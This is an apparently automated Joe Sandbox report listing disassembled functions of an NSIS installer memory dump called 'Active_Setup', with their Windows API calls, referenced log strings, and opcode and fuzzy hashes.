Source File: 00000000.00000002.1668819759.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1668798423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668863909.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004BF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Active_Setup.jbxd

Similarity

API ID: ClassLoad$InfoLibraryWindow$Register$AddressAttributesCreateDialogFileHandleImageModuleParamParametersProcShowSystemTextlstrcatlstrcmpilstrlenwsprintf
String ID: .DEFAULT\Control Panel\International$.exe$@%F$@rD$B%F$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20A$_Nb
API String ID: 608394941-1650083594
Opcode ID: 0b5ab136357e203ee2e090d14ec2b93cf78a9c4147554daf2c52a3a548f14690
Instruction ID: 271ce27004ef92612bfc9362a6cc74883a37054a4c8cca7c49d128c059fded9a
Opcode Fuzzy Hash: 0b5ab136357e203ee2e090d14ec2b93cf78a9c4147554daf2c52a3a548f14690
Instruction Fuzzy Hash: 5E71A370604B04AED721AB65EE85F2736ACEB44749F00053FF945B22E2D7B89D418F6E

Function 00401A1F Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 185
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

lstrcatW.KERNEL32(00000000,00000000,FailedCoachesRhodeTrackbacksVoltage,004CB0B0,00000000,00000000), ref: 00401A76
CompareFileTime.KERNEL32(-00000014,?,FailedCoachesRhodeTrackbacksVoltage,FailedCoachesRhodeTrackbacksVoltage,00000000,00000000,FailedCoachesRhodeTrackbacksVoltage,004CB0B0,00000000,00000000), ref: 00401AA0

Part of subcall function 00406009: lstrcpynW.KERNEL32(?,?,00002004,004038F1,0046ADC0,NSIS Error), ref: 00406016

Part of subcall function 00404F72: lstrlenW.KERNEL32(0043B228,?,00000000,00000000), ref: 00404FAA
Part of subcall function 00404F72: lstrlenW.KERNEL32(004034BB,0043B228,?,00000000,00000000), ref: 00404FBA
Part of subcall function 00404F72: lstrcatW.KERNEL32(0043B228,004034BB,004034BB,0043B228,?,00000000,00000000), ref: 00404FCD
Part of subcall function 00404F72: SetWindowTextW.USER32(0043B228,0043B228), ref: 00404FDF
Part of subcall function 00404F72: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405005
Part of subcall function 00404F72: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040501F
Part of subcall function 00404F72: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040502D

Strings

File: error, user cancel, xrefs: 00401B93
File: overwriteflag=%d, allowskipfilesflag=%d, name="%s", xrefs: 00401A39
File: error, user retry, xrefs: 00401B40
File: wrote %d to "%s", xrefs: 00401BD0
File: skipped: "%s" (overwriteflag=%d), xrefs: 00401B81
File: error creating "%s", xrefs: 00401AF0
FailedCoachesRhodeTrackbacksVoltage, xrefs: 00401A53, 00401A5C, 00401A69, 00401A7B, 00401A8C, 00401AC2, 00401AD8, 00401AEF, 00401B07, 00401B5E, 00401B80, 00401BCE, 00401C10, 00401C19, 00401C23, 00401C29, 00401C3B
File: error, user abort, xrefs: 00401B53

Memory Dump Source

Source File: 00000000.00000002.1668819759.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1668798423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668863909.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004BF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Active_Setup.jbxd

Similarity

API ID: MessageSendlstrlen$lstrcat$CompareFileTextTimeWindowlstrcpynwvsprintf
String ID: FailedCoachesRhodeTrackbacksVoltage$File: error creating "%s"$File: error, user abort$File: error, user cancel$File: error, user retry$File: overwriteflag=%d, allowskipfilesflag=%d, name="%s"$File: skipped: "%s" (overwriteflag=%d)$File: wrote %d to "%s"
API String ID: 4286501637-2771202792
Opcode ID: 45ef1293b1ae6c8eded58fe2a9d20f8c0b73c793bdda268a0525958b422070da
Instruction ID: fe683e2e252f9e2189d7cf48164ff2fe6631720e8c40e43e96375682ff159270
Opcode Fuzzy Hash: 45ef1293b1ae6c8eded58fe2a9d20f8c0b73c793bdda268a0525958b422070da
Instruction Fuzzy Hash: 9D510871901114BADF10BBB1CD46EAE3A68DF05369F21413FF416B10D2EB7C5A518AAE

Function 00403587 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 182
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00403598
GetModuleFileNameW.KERNEL32(00000000,004DF0D8,00002004,?,?,?,00000000,00403A47,?), ref: 004035B4

Part of subcall function 00405E50: GetFileAttributesW.KERNELBASE(00000003,004035C7,004DF0D8,80000000,00000003,?,?,?,00000000,00403A47,?), ref: 00405E54
Part of subcall function 00405E50: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403A47,?), ref: 00405E76

GetFileSize.KERNEL32(00000000,00000000,004E30E0,00000000,004CF0B8,004CF0B8,004DF0D8,004DF0D8,80000000,00000003,?,?,?,00000000,00403A47,?), ref: 00403600

Strings

Error launching installer, xrefs: 004035D7
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 004037C5
Null, xrefs: 0040367E
soft, xrefs: 00403675
Inst, xrefs: 0040366C

Memory Dump Source

Source File: 00000000.00000002.1668819759.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1668798423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668863909.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004BF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Active_Setup.jbxd

Similarity

API ID: File$AttributesCountCreateModuleNameSizeTick
String ID: Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 4283519449-527102705
Opcode ID: ad9dd0192889ad844885e917e82d5b734c8172191f67072e787dfaf2e8a54f21
Instruction ID: 97831ba7e8e922ff386f77eab0e0d18630bd2de4bbb47cca7d976ce2c46b30f6
Opcode Fuzzy Hash: ad9dd0192889ad844885e917e82d5b734c8172191f67072e787dfaf2e8a54f21
Instruction Fuzzy Hash: 3151D5B1900204AFDB219F65CD85B9E7EB8AB14756F10803FE605B72D1D77D9E808B9C

Function 0040337F Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 166
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 004033E7
GetTickCount.KERNEL32 ref: 00403464
MulDiv.KERNEL32(7FFFFFFF,00000064,?), ref: 00403491
wsprintfW.USER32 ref: 004034A4
WriteFile.KERNELBASE(00000000,00000000,?,7FFFFFFF,00000000), ref: 004034D3
WriteFile.KERNEL32(00000000,0041F150,?,00000000,00000000,0041F150,?,000000FF,00000004,00000000,00000000,00000000), ref: 0040356A

Strings

... %d%%, xrefs: 0040349E
X1C, xrefs: 0040343C
X1C, xrefs: 004033ED
P1B, xrefs: 004033A9

Memory Dump Source

Source File: 00000000.00000002.1668819759.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1668798423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668863909.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004BF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Active_Setup.jbxd

Similarity

API ID: CountFileTickWrite$wsprintf
String ID: ... %d%%$P1B$X1C$X1C
API String ID: 651206458-1535804072
Opcode ID: 44661cc85d05d2ece2df72a1dadfaff530150b4f00ec14a98415859341c8c9fb
Instruction ID: 0313947f0097750978ec936bbe46de4fad37e772bc1cb17ec77dd8e30cfa9ece
Opcode Fuzzy Hash: 44661cc85d05d2ece2df72a1dadfaff530150b4f00ec14a98415859341c8c9fb
Instruction Fuzzy Hash: 88518D71900219ABDF10DF65AE44AAF7BACAB00316F14417BF900B7290DB78DF40CBA9

Function 00404F72 Relevance: 10.6, APIs: 7, Instructions: 73
stringwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32(0043B228,?,00000000,00000000), ref: 00404FAA
lstrlenW.KERNEL32(004034BB,0043B228,?,00000000,00000000), ref: 00404FBA
lstrcatW.KERNEL32(0043B228,004034BB,004034BB,0043B228,?,00000000,00000000), ref: 00404FCD
SetWindowTextW.USER32(0043B228,0043B228), ref: 00404FDF
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405005
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040501F
SendMessageW.USER32(?,00001013,?,00000000), ref: 0040502D

Part of subcall function 00406805: GetVersion.KERNEL32(0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 004068D6

Memory Dump Source

Source File: 00000000.00000002.1668819759.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1668798423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668863909.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004BF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Active_Setup.jbxd

Similarity

API ID: MessageSend$lstrlen$TextVersionWindowlstrcat
String ID:
API String ID: 2740478559-0
Opcode ID: 4a81920338a541d7bcc419c3bcbb2810a04374694b2a6e658d803f75c228445d
Instruction ID: 1d640e6b4f0869ec625b39ce8112f9bd6789598538fb42bade37fe3884716a8e
Opcode Fuzzy Hash: 4a81920338a541d7bcc419c3bcbb2810a04374694b2a6e658d803f75c228445d
Instruction Fuzzy Hash: 3C21B0B1900518BACF119FA5DD84E9EBFB5EF84310F10813AFA04BA291D7798E509F98

Function 00401EB9 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 78
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406009: lstrcpynW.KERNEL32(?,?,00002004,004038F1,0046ADC0,NSIS Error), ref: 00406016

GlobalFree.KERNELBASE(00823EC8), ref: 00402387

Strings

Pop: stack empty, xrefs: 00401F2C
FailedCoachesRhodeTrackbacksVoltage, xrefs: 00401EFB, 00401F00, 00401F1A
Exch: stack < %d elements, xrefs: 00401ED8

Memory Dump Source

Source File: 00000000.00000002.1668819759.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1668798423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668863909.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004BF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Active_Setup.jbxd

Similarity

API ID: FreeGloballstrcpyn
String ID: Exch: stack < %d elements$FailedCoachesRhodeTrackbacksVoltage$Pop: stack empty
API String ID: 1459762280-3242453777
Opcode ID: 1882500a3a7973729244276bdae00bfd603f91a0f1c5eacb79451a398e12722f
Instruction ID: ae7cb1f2c63b60d7baa415153617f8c61fd22799b34192a347ea6a0a5f6d971a
Opcode Fuzzy Hash: 1882500a3a7973729244276bdae00bfd603f91a0f1c5eacb79451a398e12722f
Instruction Fuzzy Hash: 4721D172601105EBE710EB95DD81A6F77A8EF44318B21003FF542F32D1EB7998118AAD

Function 004022FD Relevance: 7.6, APIs: 5, Instructions: 56
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileVersionInfoSizeW.VERSION(00000000,?,000000EE), ref: 0040230C
GlobalAlloc.KERNEL32(00000040,00000000,00000000,?,000000EE), ref: 0040232E
GetFileVersionInfoW.VERSION(?,?,?,00000000), ref: 00402347
VerQueryValueW.VERSION(?,00408838,?,?,?,?,?,00000000), ref: 00402360

Part of subcall function 00405F51: wsprintfW.USER32 ref: 00405F5E

GlobalFree.KERNELBASE(00823EC8), ref: 00402387

Memory Dump Source

Source File: 00000000.00000002.1668819759.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1668798423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668863909.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004BF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Active_Setup.jbxd

Similarity

API ID: FileGlobalInfoVersion$AllocFreeQuerySizeValuewsprintf
String ID:
API String ID: 3376005127-0
Opcode ID: 6f3e0dbebcfa7f75c0754c170d72e8097fcb7c93b116c2da6e8eed637ff4f305
Instruction ID: 606d2f288e59f9406d2e88b5b0598c54d729d8d595f649ff0f3e4a994beab86c
Opcode Fuzzy Hash: 6f3e0dbebcfa7f75c0754c170d72e8097fcb7c93b116c2da6e8eed637ff4f305
Instruction Fuzzy Hash: 82115E72900109AFCF00EFA1DD45DAE7BB8EF04344F10403AFA09F61A1D7799A40DB19

Function 00402B23 Relevance: 7.6, APIs: 5, Instructions: 54
memoryfilestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalAlloc.KERNEL32(00000040,00002004), ref: 00402B2B
WideCharToMultiByte.KERNEL32(?,?,0040F0D0,000000FF,?,00002004,?,?,00000011), ref: 00402B61
lstrlenA.KERNEL32(?,?,?,0040F0D0,000000FF,?,00002004,?,?,00000011), ref: 00402B6A
WriteFile.KERNEL32(00000000,?,?,00000000,?,?,?,?,0040F0D0,000000FF,?,00002004,?,?,00000011), ref: 00402B85

Memory Dump Source

Source File: 00000000.00000002.1668819759.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1668798423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668863909.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004BF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Active_Setup.jbxd

Similarity

API ID: AllocByteCharFileGlobalMultiWideWritelstrlen
String ID:
API String ID: 2568930968-0
Opcode ID: 02f149ecbdf3f63b5c58a8b7f5a2f789e982e3470d3956ff315881f03770554e
Instruction ID: 5d007b3c2ae3d1ce6b2586a1921c4ad46276280cee2e515d5d1d957ff8a092fa
Opcode Fuzzy Hash: 02f149ecbdf3f63b5c58a8b7f5a2f789e982e3470d3956ff315881f03770554e
Instruction Fuzzy Hash: 76016171500205FBDB14AF70DE48D9E3B78EF05359F10443AF646B91E1D6798982DB68

Function 00402713 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 42
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406009: lstrcpynW.KERNEL32(?,?,00002004,004038F1,0046ADC0,NSIS Error), ref: 00406016

WritePrivateProfileStringW.KERNEL32(?,?,?,00000000), ref: 0040278C

Strings

WriteINIStr: wrote [%s] %s=%s in %s, xrefs: 00402775
FailedCoachesRhodeTrackbacksVoltage, xrefs: 00402770
<RM>, xrefs: 00402713

Memory Dump Source

Source File: 00000000.00000002.1668819759.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1668798423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668863909.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004BF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Active_Setup.jbxd

Similarity

API ID: PrivateProfileStringWritelstrcpyn
String ID: <RM>$FailedCoachesRhodeTrackbacksVoltage$WriteINIStr: wrote [%s] %s=%s in %s
API String ID: 247603264-3592343115
Opcode ID: ebd727ba1388524afa6f7b5c72e47581e9b4ec966d204d2154218169f3a3a122
Instruction ID: 1675f45263e21dacb3bd3d3c28f4c469aa899418fcec56767b4290250f933745
Opcode Fuzzy Hash: ebd727ba1388524afa6f7b5c72e47581e9b4ec966d204d2154218169f3a3a122
Instruction Fuzzy Hash: 05014F70D40319BADB10BFA18D859AF7A78AF09304F10403FF11A761E3D7B80A408BAD

Function 004021B5 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 54COMMON

Download Yara Rule

APIs

Part of subcall function 00404F72: lstrlenW.KERNEL32(0043B228,?,00000000,00000000), ref: 00404FAA
Part of subcall function 00404F72: lstrlenW.KERNEL32(004034BB,0043B228,?,00000000,00000000), ref: 00404FBA
Part of subcall function 00404F72: lstrcatW.KERNEL32(0043B228,004034BB,004034BB,0043B228,?,00000000,00000000), ref: 00404FCD
Part of subcall function 00404F72: SetWindowTextW.USER32(0043B228,0043B228), ref: 00404FDF
Part of subcall function 00404F72: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405005
Part of subcall function 00404F72: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040501F
Part of subcall function 00404F72: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040502D

ShellExecuteW.SHELL32(?,00000000,00000000,00000000,004CB0B0,?), ref: 00402202

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Strings

ExecShell: success ("%s": file:"%s" params:"%s"), xrefs: 00402226
ExecShell: warning: error ("%s": file:"%s" params:"%s")=%d, xrefs: 00402211

Memory Dump Source

Source File: 00000000.00000002.1668819759.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1668798423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668863909.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668880100.00000000004BF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669068840.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Active_Setup.jbxd

Similarity

API ID: MessageSendlstrlen$ExecuteShellTextWindowlstrcatwvsprintf
String ID: ExecShell: success ("%s": file:"%s" params:"%s")$ExecShell: warning: error ("%s": file:"%s" params:"%s")=%d
API String ID: 3156913733-2180253247
Opcode ID: 0e9dd1e26526b91e1c41cfd2ad6e78dbbf82426293fff8cc21759efb88a5ec27
Instruction ID: bbc106df3db47d5a89d2587a4e22f40687ed87c50c6518a2742e337a88eb4af1
Opcode Fuzzy Hash: 0e9dd1e26526b91e1c41cfd2ad6e78dbbf82426293fff8cc21759efb88a5ec27
Instruction Fuzzy Hash: E001F7B2B4021476DB2077B69C87F6B2A5CDB41764B20047BF502F20E3E5BD88009139

Function 00405E7F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00405E9D
GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,00000000,004037FE,004D30C0,004D70C8), ref: 00405EB8

Strings

nsa, xrefs: 00405E8C

Memory Dump Source

Source File: 00000000.00000002.1668819759.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1668798423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
